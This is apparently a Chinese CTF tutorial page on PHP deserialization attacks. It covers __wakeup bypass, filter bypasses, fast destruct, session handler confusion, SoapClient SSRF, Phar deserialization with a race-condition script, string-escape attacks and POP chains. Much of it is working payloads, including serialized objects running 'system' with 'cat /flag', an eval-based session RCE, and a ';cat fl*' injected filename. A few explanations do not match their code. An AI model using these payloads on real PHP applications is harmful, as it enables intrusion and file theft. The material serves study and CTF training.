Skip to content

反序列化漏洞

PHP 是一种 面向对象 编程语言,对象在 PHP 中是非常常见的概念。几乎所有的数据类型都可以作为对象来处理。在 PHP 中,对象是一种复合数据类型,也称为 实例。对象的定义和创建通常包括两个步骤:定义类创建对象

php
// 定义类
class ClassName {
// 这里是类的属性和方法定义
}

php
// 创建对象
$obj = new ClassName()

在 PHP 中,可以使用序列化(serialize)和反序列化(unserialize)来保存和恢复对象。序列化是将对象转换为一种可以存储或传输的格式,反序列化则是将这种格式的数据转换回对象。

php
serialize($obj);     // 将一个对象转换成字符串
unserialize($data);  // 将字符串还原成一个对象

如果反序列化过程中用户对某些参数可控,从而控制内部的变量设置函数,那就可以利用反序列化构造攻击。

访问控制修饰符

在 PHP 中,访问控制修饰符分为以下三类,同时,在序列化中我们需要知道不同访问修饰符序列化后的格式。\x00 表示空字符,一个空字符长度为 1

访问控制修饰符说明序列化后的格式
public公有的,属性或方法可从任何地方访问属性名
protected受保护的,属性或方法可由其类或其子类访问\x00*\x00属性名
private私有的,属性或方法只能由其自身的类或对象访问\x00类名\x00属性名

说明:

  • public:属性或方法可以被任何地方访问。在序列化过程中,public 属性的格式就是简单的属性名,不包含其他信息。
  • protected:属性或方法只能在类内部及其子类中访问。在序列化过程中,protected 属性的格式为 \x00*\x00属性名,其中 \x00* 表示受保护的属性,* 是一个特殊字符,代表受保护的访问级别。
  • private:属性或方法只能在类内部访问。在序列化过程中,private 属性的格式为 \x00类名\x00属性名,其中 \x00类名\x00 指示这是私有属性,并且 类名 是定义该私有属性的类的名称。

举个例子

假设我们有以下 PHP 类和对象:

php
<?php
class Info {
    public $name = "iami233";
    protected $age = "18";
    private $sex = "unknown";
}

$test = new Info;
echo serialize($test);

如果生成的序列化字符串较长或者出现非 public 访问修饰符时,建议通过 urlencode() 函数输出编码后的内容,以防止出现乱码或被输出不全。

Tips: 当版本为 PHP > 7.1 时反序列化对类属性不敏感privateprotected 变量均可以用 public 格式来表示

php
O:4:"Info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00Info\x00sex";s:7:"unknown";}

我们来详细解读这个序列化字符串的含义:

  1. O:4:"Info":3:

    • O 表示这是一个对象(Object)
    • 4 是类名 Info 的长度(4 个字符)
    • "Info" 是类名
    • 3 是对象属性的数量(3 个属性)
  2. {s:4:"name";s:7:"iami233";

    • { 表示属性的开始
    • s:4:"name"; 表示第一个属性是一个字符串,长度为 4,属性名为 name
    • s:7:"iami233"; 表示 name 属性的值是一个字符串,长度为 7,值为 "iami233"
  3. s:6:"\x00\*\x00age";s:2:"18";

    s:6:"\x00*\x00age";

    表示第二个属性是一个字符串,长度为 6,属性名为

    \x00*\x00age
    • \x00*\x00protected 属性的标记,age 是属性名

    • s:2:"18"; 表示 age 属性的值是一个字符串,长度为 2,值为 "18"

  4. s:8:"\x00Info\x00sex";s:7:"unknown";}

    s:8:"\x00Info\x00sex";

    表示第三个属性是一个字符串,长度为 8,属性名为

    \x00Info\x00sex
    • \x00Info\x00private 属性的标记(包含类名 Info), sex 是属性名。

    • s:7:"unknown"; 表示 sex 属性的值是一个字符串,长度为 7,值为 "unknown"

    • } 表示属性的结束。

魔术方法

在 PHP 类中,魔术方法是一种特殊的函数体,其命名以两个下划线 __ 开头,后面跟着一个字符串,例如 __toString()。这些方法在对象的特定操作中会被自动调用。下面是与序列化相关的魔术方法列表:

魔术方法触发时机
__construct()每次创建新对象时先调用此方法
__destruct()对象被销毁时触发
__call()在对象上下文中调用不可访问的方法时触发
__callStatic()在静态上下文中调用不可访问的方法时触发
__get()用于从不可访问的属性读取数据或者不存在这个键时调用此方法
__set()用于将数据写入不可访问的属性
__isset()在不可访问的属性上调用 isset()empty() 时触发
__unset()在不可访问的属性上使用 unset() 时触发
__sleep()执行 serialize() 时,先会调用这个函数
__wakeup()执行 unserialize() 时,先会调用这个函数
__toString()把类当作字符串使用时触发
__invoke()当尝试将对象调用为函数时触发
__clone()对象被克隆时触发
__debugInfo()打印 var_dump() 时被调用,允许对象通过 var_dump() 打印其私有信息

亿个示例

__sleep()__wakeup()

这两个魔术方法在对象序列化和反序列化时被调用。__sleep()serialize() 时被调用,用于准备对象数据进行序列化,而 __wakeup()unserialize() 时被调用,用于恢复对象状态。

示例代码
php
<?php
class Example {
    public $data;
    private $privateData;

    public function __construct($data) {
        $this->data = $data;
        $this->privateData = "这是私有数据";
    }

    public function __sleep() {
        // 在序列化前执行
        echo "准备序列化...\n";
        return array('data'); // 只序列化 'data' 属性
    }

    public function __wakeup() {
        // 在反序列化后执行
        echo "恢复对象...\n";
        $this->privateData = "恢复的私有数据";
    }
}

$original = new Example('测试数据');
$serialized = serialize($original);
echo "序列化数据: $serialized\n";

$unserialized = unserialize($serialized);
echo "反序列化后的对象数据: " . $unserialized->data . "\n";

// 准备序列化...
// 序列化数据: O:7:"Example":1:{s:4:"data";s:9:"测试数据";}
// 恢复对象...
// 反序列化后的对象数据: 测试数据

__get()__set()

这两个魔术方法用于处理对不可访问属性的读取和写入。在反序列化过程中,如果试图访问不存在的属性,可以利用这些方法来处理。

示例代码
php
<?php
class Example {
    private $data = array();

    public function __set($name, $value) {
        // 当设置一个不存在的或不可访问的属性时调用
        echo "设置属性 $name 的值为 $value\n";
        $this->data[$name] = $value;
    }

    public function __get($name) {
        // 当读取一个不存在的或不可访问的属性时调用
        echo "获取属性 $name\n";
        return isset($this->data[$name]) ? $this->data[$name] : null;
    }
}

$original = new Example();
$original->test = '测试'; // 会调用 __set
echo $original->test; // 会调用 __get

// 设置属性 test 的值为 测试
// 获取属性 test
// 测试

__call()__callStatic()

这两个魔术方法用于处理对不可访问或不存在的方法的调用。在反序列化过程中,可能会遇到需要调用这些方法的场景。

示例代码
php
<?php
class Example {
    public function __call($name, $arguments) {
        // 处理对不可访问实例方法的调用
        echo "调用实例方法 $name, 参数: " . implode(', ', $arguments) . "\n";
    }

    public static function __callStatic($name, $arguments) {
        // 处理对不可访问静态方法的调用
        echo "调用静态方法 $name, 参数: " . implode(', ', $arguments) . "\n";
    }
}

$original = new Example();
$original->nonexistentMethod('arg1', 'arg2'); // 会调用 __call
Example::nonexistentStaticMethod('arg1', 'arg2'); // 会调用 __callStatic

// 调用实例方法 nonexistentMethod, 参数: arg1, arg2
// 调用静态方法 nonexistentStaticMethod, 参数: arg1, arg2

__construct() 魔术方法

此魔术方法在每次创建新对象时自动调用。可以在构造函数中初始化对象的属性或执行其他必要的操作。

示例代码
php
<?php
class Example {
    public $name;
    public $age;

    // 构造函数
    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
        echo "创建完成: 名字是 $name, 年龄是 $age\n";
    }
}

// 创建新对象时,会自动调用 __construct()
$person = new Example('张三', 25);

// 输出对象属性
echo "名字是: " . $person->name . "\n";
echo "年龄是: " . $person->age . "\n";

// 创建完成: 名字是 张三, 年龄是 25
// 名字是: 张三
// 年龄是: 25

__destruct()

此魔术方法在对象被销毁时触发。在反序列化过程中,如果对象被销毁,这个方法会被调用。

示例代码
php
<?php
class Example {
    public function __destruct() {
        // 对象销毁时调用
        echo "对象正在被销毁...\n";
    }
}

$original = new Example();
unset($original); // 销毁对象,触发 __destruct

// 对象正在被销毁...

反序列化特性

  1. 反序列化结束条件
    反序列化过程中,遇到 ;} 与最前面的 { 配对后,反序列化会停止,后面的数据会被忽略。

    示例代码
    php
    // 序列化数据,包含一个类和额外的数据
    $data = 'O:12:"ExampleClass":1:{s:4:"name";s:3:"Liu";}s:3:"age";i:18;}';
    
    // 假设 ExampleClass 类只定义了 name 属性
    class ExampleClass {
        public $name;
    }
    
    // 反序列化数据
    $obj = unserialize($data);
    var_dump($obj);
    
    // object(ExampleClass)#1 (1) {
    //   ["name"]=>
    //   string(3) "Liu"
    // }

    在这个示例中,age 属性的数据被忽略,因为它不符合类的定义。

  2. 字符长度匹配
    反序列化过程会根据 s 指定的 字符长度 读取字符。如果实际字符长度与序列化记录的长度不匹配,则会导致反序列化失败。

    示例代码
    php
    // 序列化数据(指定长度为5,但实际数据为6)
    $data = 's:5:"hello!";';
    
    $string = unserialize($data);
    var_dump($string);
    
    // Warning: unserialize(): Error at offset 10 of 13 bytes in /path/to/script.php on line 8

    由于长度不匹配,反序列化会产生警告,说明数据无法正确解析。

  3. 类中不存在的属性
    即使类中不存在的属性也会被反序列化。

    示例代码
    php
    // 序列化数据(包含一个不存在的属性)
    $data = 'O:12:"ExampleClass":2:{s:4:"name";s:3:"Liu";s:3:"age";i:18;}';
    
    // 假设 ExampleClass 类只定义了 name 属性
    class ExampleClass {
        public $name;
    }
    
    $obj = unserialize($data);
    var_dump($obj);
    
    // object(ExampleClass)#1 (2) {
    //   ["name"]=>
    //   string(3) "Liu"
    //   ["age"]=>
    //   int(18)
    // }

    在这个示例中,nonexistent 属性的数据被反序列化,但是由于 ExampleClass 中不存在 nonexistent 属性,它不会被恢复到对象中。

Bypass

wakeup绕过

PHP5 < 5.6.25PHP7 < 7.0.10

CVE-2016-7124 当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行,

php
O:4:"info":3:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}

原本 info 的对象属性个数为 3 ,我们直接改为 4 即可绕过 __wakeup

php
O:4:"info":4:{s:4:"name";s:7:"iami233";s:6:"\x00*\x00age";s:2:"18";s:8:"\x00ctf\x00sex";s:7:"unknown";}
例题:[极客大挑战 2019] PHP
php
<?php
include 'flag.php';
error_reporting(0);

class Name {
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup() {
        $this->username = 'guest';
    }

    function __destruct() {
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;
            echo "</br>";
            echo "You password is: ";
            echo $this->password;
            echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        } else {
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}

代码逻辑就是如果密码等于 100 同时用户名等于 admin ,执行 __construct 的时候输出 flag。 直接构建反序列化

php
<?php
class Name {
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }
}

$flag = new Name('admin', 100);
echo serialize($flag);

// O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

就目前来看我们已经把 __construct__destruct 绕过去了,但是 __wakeup 会把我们的 username 重新赋值为 guest ,我们直接用上面提到的 __wakeup 绕过方法,把 "Name":2 改为 "Name":3

php
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但我们这里访问控制是私有 Private ,所以我们需要在类名和成员名之前加上 %00 ,达到绕过目的。

php
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

16进制绕过

php
<?php

class Test {
    public $username;
    
    public function __construct() {
        $this->username = 'admin';
    }

    public function __destruct() {
        if ($this->username == 'admin') {
            echo 'Success';
        }
    }
}

function filter($data){
    if (preg_match('/username/', $data)) {
        die("nonono!!!</br>");
    }
    
    return unserialize($data);
}

filter($_GET['data']);

序列化字符串中过滤了一些字符串,可以使用十六进制绕过

php
O:4:"Test":1:{s:8:"username";s:5:"admin";}

字符类型的 s 大写时,会被当成 16 进制解析,\75u 的16进制,

php
O:4:"Test":1:{S:8:"\75sername";s:5:"admin";}

绕过正则表达式

php
<?php

class Test {
    public $username;

    public function __construct() {
        $this->username = 'admin';
    }

    public function __destruct() {
        if ($this->username == 'admin') {
            echo 'Success';
        }
    }
}

function filter($data) {
    if (preg_match('/^O:\d+:/', $data)) {
        die('Invalid input!');
    }

    return unserialize($data);
}

filter($_GET['data']);

像这种,我们正常生成序列化后的数据如下所示

php
O:4:"Test":1:{s:8:"username";s:5:"admin";}

如果进行传参的话,filter() 不允许 O:[数字] 开头,这种情况下,我们可以利用以下的方法进行绕过

  • 利用加号绕过(注意在 URL 里传参时 + 要编码为 %2B
  • 利用数组对象绕过,序列化结果开头是 a,不影响作为数组元素的 $a 的析构
php
// 加号绕过
O:+4:"Test":1:{s:8:"username";s:5:"admin";}
// 数组绕过
// echo serialize(array(new Test()));
a:1:{i:0;O:4:"Test":1:{s:8:"username";s:5:"admin";}}

引用绕过

php
<?php

class test {
    public $a;
    public $b;

    public function __destruct(){
        $this->a = uniqid();
        if ($this->a === $this->b) {
            echo 'Success';
        }
    }
}
unserialize($_GET['data']);

像这种,我们直接通过引用变量的方式进行绕过即可

php
$this->b = &$this->a;
// O:4:"test":2:{s:1:"a";N;s:1:"b";R:2;}

绕过异常 throw new Error()

throw 的作用会阻断 __destruct() 的执行,例题可以参考 贵阳大数据及网络安全精英对抗赛 2023 POP 一题

参考:fast destruct 提前触发魔术方法

本质上,fast destruct 是因为 unserialize 过程中扫描器发现序列化字符串格式有误导致的提前异常退出,为了销毁之前建立的对象内存空间,会立刻调用对象的 __destruct(), 提前触发反序列化链条。

php
O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N;}

去掉序列化尾部 }

php
O:2:"TT":2:{s:3:"key";O:2:"JJ":1:{s:3:"obj";O:2:"MM":2:{s:4:"name";s:6:"system";s:1:"c";s:9:"cat /flag";}}s:1:"c";N

Session 反序列化

在 PHP 中,Session 存储和读取时会有一个序列化和反序列化的过程。PHP 内置了多种处理器用于存取 $_SESSION 数据,这些处理器都会对数据进行序列化和反序列化。

php.ini 中通常存在以下配置项:

  • session.save_path:设置 Session 的存储路径。
  • session.save_handler:设定用户自定义存储函数。
  • session.auto_start:指定会话模块是否在请求开始时启动一个会话。
  • session.serialize_handler:定义用来序列化/反序列化的处理器名字,默认使用 php

存储引擎

不同的引擎所对应的 Session 的存储方式不同。

php
<?php
ini_set('session.serialize_handler', 'php');
// ini_set("session.serialize_handler", "php_serialize");
// ini_set("session.serialize_handler", "php_binary");

session_start();
$_SESSION['name'] = 'iami233';
var_dump($_SESSION);
引擎存储方式示例
php键名 + 竖线 + 经过 serialize() 函数序列化处理的值name|s:7:"iami233";
php_binary键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数序列化处理的值names:7:"iami233";
php_serialize经过 serialize() 函数序列化处理的数组a:1:{s:4:"name";s:7:"iami233";}
示例代码
php
我们新建一个 `1.php` 文件,使用 `php_serialize` 引擎

``` php
<?php
ini_set("session.serialize_handler", "php_serialize");

session_start();
$_SESSION['name'] = '|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}';

访问 http://localhost/1.php 后生成的 session 文件内容文件为:

php
a:1:{s:4:"name";s:44:"|O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";}

php 序列化引擎以 | 作为 keyvalue 的分隔符,只反序列化 | 后面的内容。所以我们需要在前面加个 |,这样 a:1:{s:4:"name";s:44:" 被当做了 key ,而 O:4:"Name":1:{s:3:"rce";s:10:"phpinfo();";}";} 被当做了 value

再新建一个 2.php 文件,不声明引擎的话,默认是 php

php
<?php
session_start();
class Name {
    public $rce; 
    function __destruct() {
        eval($this->rce);
    }
}

此时访问 http://localhost/2.php 即可执行 phpinfo() 函数

原生类 反序列化

在 PHP 中,除了自定义类的反序列化,原生类的反序列化也是一个重要的安全问题。以下是几个常见的 PHP 原生类及其在反序列化中的利用方式

Error/Exception

Error 类在 PHP7 下存在的一个内置类,是所有 PHP 内部错误类的基类。Error 类中存在 __toString() 方法,当对象被当成字符串时,会自动调用这个方法,将 Error 以字符串的形式输出。

Exception 原理一致,但其在 PHP5 中也能使用

php
<?php
$a = serialize(new Exception("<script>alert(1)</script>"));
echo $a; 
// O:9:"Exception":7:{s:10:"*message";s:25:"<script>alert(1)</script>";...}

SplFileObject

SplFileObject 类可以用于读取文件内容。需要注意的是SplFileObject 读取文件内容时是按行读取的,如果要读取多行需要遍历,或者可以通过 php://filter/ 协议将文件内容 Base64 编码后输出。

php
<?php
$a = new SplFileObject("flag.txt");
echo $a;

DirectoryIterator

DirectoryIterator 类用于遍历目录。

php
<?php
$a = new DirectoryIterator(".");
foreach ($a as $b) {
    echo $b->getFilename() . "\n";
}

FilesystemIterator

FilesystemIterator 类也是用于遍历目录的一个类。

php
<?php
$a = new FilesystemIterator(".");
foreach ($a as $b) {
    echo $b->getFilename() . "\n";
}

SoapClient

SoapClient 类可用于实现 SSRF(服务器端请求伪造)。利用 SoapClient 需要满足以下条件:

  1. 需要有 soap 扩展,并手动开启。
  2. 需要调用一个不存在的方法来触发其 __call() 函数。
  3. 仅限于 http / https 协议。

在构造 SoapClient 类对象进行 SSRF 时,需要有两个参数,字符串 $wsdl 和数组 $options,详见 PHP: SoapClient

php
public __construct(?string $wsdl, array $options = [])

options 传入我们要构造的请求头,urilocation 必须设置。

例题:[CTFShow Web入门] Web259
php
<?php
highlight_file(__FILE__);

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip !== '127.0.0.1'){
    die('error');
} else {
    $token = $_POST['token'];
    if ($token == 'ctfshow') {
        file_put_contents('flag.txt', $flag);
    }
}

$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

在此示例中,调用了一个不存在的函数 getFlag() ,会触发 __call 魔术方法。 __call 会发送一个请求,我们可以本地通过 nc 监听端口搭配 PHPStudy 来构造调试,发现 ua 头可以注入。这里需要注意的点如下:

  1. iparray_pop 两次以 , 分割
  2. token=ctfshow 长度为 13 且为 POST 提交
  3. 请求头之间的参数用 \r\n 分隔
  4. 请求头与请求体之间用 \r\n\r\n 分隔
php
<?php
$client = new SoapClient(null, array(
    'location' => "http://127.0.0.1/flag.php",
    'user_agent' => "test\r\nX-Forwarded-For:127.0.0.1,1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow",
    'uri' => "http://127.0.0.1/",
));

echo urlencode(serialize($client));

发送 payload 后访问 flag.txt 即可

Phar 反序列化

Phar 是 PHP 的压缩文档格式,可以将多个文件归档到一个文件中,并且无需解压即可通过 PHP 访问和执行。类似于 file://php:// 等伪协议,Phar 也提供了一种流包装器。Phar 文件存储的 meta-data 信息以 序列化 方式存储,当文件操作函数通过 phar:// 伪协议解析 Phar 文件时就会将数据反序列化。

为了使用 Phar 类的方法,需要在 php.ini 文件中将 phar.readonly 配置项设置为 0Off(默认是 On)。

Phar 文件生成

这里提供一个 phar 包生成代码,phar 文件是很容易绕过上传限制的,首先它的后缀是不限制的,无论改成什么 phar:// 协议都可以解析,其次 xxx<?phpxxx; __HALT_COMPILER();?> 前面内容不限,这样可以在前面添加 GIF98a 这样的文件头绕过上传限制。

php
// 实例化一个 Phar 对象
$phar = new Phar('test.phar');
// 开始缓冲 Phar 写操作 
$phar->startBuffering();
// 设置 stub
$phar->setStub("<?php __HALT_COMPILER(); ?>");
// 以字符串的形式添加一个文件到 phar 档案 
$phar->addFromString('test.php', '<?php echo "this is test file"; ?>');
// 把 fileTophar 目录下的文件归档到 phar 档案
$phar->buildFromDirectory('fileTophar');
// 该函数解压一个 phar 包
$phar->extractTo();

当环境限制了 phar 不能作为开头时,可以使用以下伪协议绕过:

php
compress.bzip2://phar://test.phar/test.txt
compress.zlib://phar://test.phar/test.txt
php://filter/resource=phar://test.phar/test.txt
例题:[CTFShow Web入门] Web276
php
<?php
highlight_file(__FILE__);
class filter {
    public $filename;
    public $filecontent;
    public $evilfile = false;
    public $admin = false;

    public function __construct($f, $fn) {
        $this->filename = $f;
        $this->filecontent = $fn;
    }

    public function checkevil() {
        if (preg_match('/php|\.\./i', $this->filename)) {
            $this->evilfile = true;
        }
        if (preg_match('/flag/i', $this->filecontent)) {
            $this->evilfile = true;
        }
        return $this->evilfile;
    }

    public function __destruct() {
        if ($this->evilfile && $this->admin) {
            system('rm ' . $this->filename);
        }
    }
}

if (isset($_GET['fn'])) {
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'], $content);
    if ($f->checkevil() === false) {
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'], md5(mt_rand()) . '.txt');
        unlink($_SERVER['DOCUMENT_ROOT'] . '/' . $_GET['fn']);
        echo 'work done';
    }
} else {
    echo 'where is flag?';
}

在这个示例中,this->admin 需要为 true 才会执行删除操作,但代码中没有直接控制 admin 属性的点。可以通过 file_put_contents 写入一个 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化

php
<?php
class filter {
    public $filename = ';cat fl*';
    public $evilfile = true;
    public $admin = true;
}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

利用条件竞争进行攻击

python
import requests
import time
import threading

success = False

# 读取 phar 包内容
def getPhar(phar):
    with open(phar, 'rb') as p:
        return p.read()

# 写入 phar 包内容
def writePhar(url, data):
    print("[-]writing")
    requests.post(url, data)

# 触发 unlink 的 phar 反序列化
def unlinkPhar(url, data):
    global success
    res = requests.post(url, data)
    if 'ctfshow' in res.text and success is False:
        print("[*]Over!")
        print(res.text)
        success = True

def main():
    global success
    url = 'http://example.com/'  # 改为实际 URL
    phar = getPhar('phar.phar')
    while success is False:
        time.sleep(0.5)
        w = threading.Thread(target=writePhar, args=(url + '?fn=phar.phar', phar))
        u = threading.Thread(target=unlinkPhar, args=(url + '?fn=phar://phar.phar/test', '1'))
        w.start()
        u.start()

if __name__ == '__main__':
    main()

除了 file_put_contents 外,会触发 phar 反序列化的函数还有:

函数列表函数列表函数列表函数列表
filename()filectime()file_exists()file_get_contents()
file_put_contents()file()filegroup()fopen()
fileinode()filemtime()fileowner()fileperms()
is_dir()is_executable()is_file()is_link()
is_readable()is_writable()is_writeable()parse_ini_file()
copy()unlink()stat()readfile()

字符串逃逸

在某些情况下,当开发者先对对象进行 序列化,然后对对象中的字符进行 过滤,最后再进行 反序列化,这可能会导致 PHP 反序列化的字符串逃逸漏洞。

字符串逃逸通常有两种情况:字符变多或字符变少。以下是两种情况的具体处理方法:

字符变多

  1. 检查过滤规则,判断字符是变多还是变少,计算字符变化的数量。
  2. 如果是单个字符,构造过滤字符的个数等于构造的字符长度。
  3. 如果是多个字符,构造过滤字符的个数等于构造的字符长度除以字符个数。
例题:字符变多
php
<?php
include('flag.php');

function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf {
    public $username;
    public $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __wakeup() {
        if ($this->password == '88888888') {
            echo $flag;
            die;
        }
        echo 'Fake admin';
    }
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false) {
    $data = new ctf($u, $p);
    unserialize(filter(serialize($data)));
}

在这个示例中,$u 必须包含 admin,然后会把 admin 替换为 hacker。判断 password 是否等于 88888888 来决定是否输出 flag

我们先将 username 赋值为 admin,将 password 设为 88888888,观察返回数据:

php
<?php

    function filter($s) {
    return str_replace('admin', 'hacker', $s);
}

class ctf {
    public $username;
    public $password = '88888888';

    public function __construct($username) {
        $this->username = $username;
    }
}

$u = 'admin';
$data = new ctf($u);
var_dump(filter(serialize($data)));
// O:3:"ctf":2:{s:8:"username";s:5:"hacker";s:8:"password";s:8:"88888888";}

经过替换后 admin 变成了 hacker ,多出来了一个字符,但标记长度没有变化,还是 s:5 ,造成了实际长度大于标记长度的情况,从而反序列化失败。

同时我们发现需要构造的字符 ";s:8:"password";s:8:"88888888";} 长度为 33 ,由于过滤规则每次替换增加 1 个字符,所以我们需要 33admin

php
<?php

function filter($s) {
 return str_replace('admin', 'hacker', $s);
}

class ctf {
 public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:8:"88888888";}';
 public $password = '88888888';
}

$data = new ctf($u);
var_dump(filter(serialize($data)));
// O:3:"ctf":2:{s:8:"username";s:198:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:8:"88888888";}";s:8:"password";s:8:"88888888";}

这时,我们可以发现 hacker 正好是 198 个字符,而 password 也变成了我们想要的 88888888

字符变少

  1. 构造想要的值并正常序列化,获得最终的逃逸字符。
  2. 在逃逸字符前加入任意字符,并用双引号闭合,传入需要控制的值。
  3. 根据需要逃逸的字符串长度,传入对应的过滤字符。
例题:字符变少
php
<?php
include('flag.php');

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf {
    public $username;
    public $password;

    public function __construct($username, $password) {
        $this->username = $username;
        $this->password = $password;
    }

    public function __wakeup() {
        if ($this->password == '88888888') {
            echo $flag;
            die;
        }
        echo 'Fake admin';
    }
}

$u = $_GET['u'];
$p = $_GET['p'];

if (strpos($u, 'admin') !== false) {
    $data = new ctf($u, $p);
    unserialize(filter(serialize($data)));
}

思路同上,先输出一下 serialize 后的数据

php
<?php

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf {
    public $username = 'admin';
    public $password = '88888888';
}

$data = new ctf($u);
var_dump(filter(serialize($data)));
// O:3:"ctf":2:{s:8:"username";s:5:"hack";s:8:"password";s:8:"88888888";}

发现 admin 变成了 hack ,但是标记长度没有变化,还是 s:4 ,造成了实际长度小于标记长度的情况,我们每增加一个 admin 匹配替换后就减少 1 个字符,我们要做的就是让他往后去吞噬一些我们构造的代码,这样就可以构造出我们想要的代码了。

php
<?php

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username = 'admin';
    public $password = '";s:8:"password";s:8:"88888888";}';
}

$data = new ctf($u);
var_dump(filter(serialize($data)));
// O:3:"ctf":2:{s:8:"username";s:5:"hack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

所以我们需要吞噬的字符如下

php
";s:8:"password";s:33:"

由于每次匹配替换只会减少一个字符,所以我们需要构造一个长度为 23 的字符串,这样就可以吞噬到我们想要的代码了。

php
<?php

function filter($s) {
    return str_replace('admin', 'hack', $s);
}

class ctf{
    public $username = 'adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin';
    public $password = '";s:8:"password";s:8:"88888888";}';
}

$data = new ctf($u);
var_dump(filter(serialize($data)));
// O:3:"ctf":2:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:33:"";s:8:"password";s:8:"88888888";}";}

POP链构造

在 CTF 竞赛中,PHP 反序列化题目通常涉及构造 POP 链(Property Oriented Programming Chain)。POP 链可以看作一种多层套娃,需要多次利用 PHP 的魔法方法实现代码跳转,最终执行恶意代码。POP 链的构造非常精妙,因此得名“链”。

示例代码
php
<?php
highlight_file(__FILE__);

class blue
{
    public $b1;
    public $b2;

    function eval() {
        echo new $this->b1($this->b2);
    }

    public function __invoke()
    {
        $this->b1->blue();
    }
}

class red
{
    public $r1;

    public function __destruct()
    {
        echo $this->r1 . '0xff0000';
    }

    public function execute()
    {
        ($this->r1)();
    }

    public function __call($a, $b)
    {
        echo $this->r1->getFlag();
    }

}

class white
{
    public $w;

    public function __toString()
    {
        $this->w->execute();
        return 'hello';
    }
}

class color
{
    public $c1;

    public function execute()
    {
        ($this->c1)();
    }

    public function getFlag()
    {
        echo file_get_contents($this->c1);
    }

}

unserialize($_POST['cmd']);

在分析 POP 链构造时,可以根据常见的魔法方法逐步进行推导。以下是此题目的 POP 链的构造思路:

  1. unserialize($_POST['cmd']) 反序列化后调用 red 类的 __destruct() 方法。
  2. __destruct() 方法中,echo $this->r1 . '0xff0000'; 触发 white 类的 __toString() 方法。
  3. __toString() 方法中调用 color 类的 execute() 方法。
  4. execute() 方法中,调用 blue 类的 __invoke() 方法。
  5. __invoke() 方法中调用 red 类的 __call() 方法。
  6. __call() 方法中调用 color 类的 getFlag() 方法,最终读取文件内容。

手动写出整个链条的构造如下:

php
unserialize() -> red -> __destruct() -> white -> __toString() -> color-> execute() -> blue-> __invoke() -> red -> __call() -> color -> getFlag() -> file_get_contents()

根据以上链条,我们开始构造代码:

php
<?php

class blue
{
    public $b1;
    public $b2;
}

class red
{
    public $r1;
}

class white
{
    public $w;
}

class color
{
    public $c1;
}

$f = new red();
$f->r1 = new white();
$f->r1->w = new color();
$f->r1->w->c1 = new blue();
$f->r1->w->c1->b1 = new red();
$f->r1->w->c1->b1->r1 = new color();
$f->r1->w->c1->b1->r1->c1 = 'flag.php';

var_dump(urlencode(serialize($f)));
// O%3A3%3A%22red%22%3A1%3A%7Bs%3A2%3A%22r1%22%3BO%3A5%3A%22white%22%3A1%3A%7Bs%3A1%3A%22w%22%3BO%3A5%3A%22color%22%3A1%3A%7Bs%3A2%3A%22c1%22%3BO%3A4%3A%22blue%22%3A2%3A%7Bs%3A2%3A%22b1%22%3BO%3A3%3A%22red%22%3A1%3A%7Bs%3A2%3A%22r1%22%3BO%3A5%3A%22color%22%3A1%3A%7Bs%3A2%3A%22c1%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7Ds%3A2%3A%22b2%22%3BN%3B%7D%7D%7D%7D%7D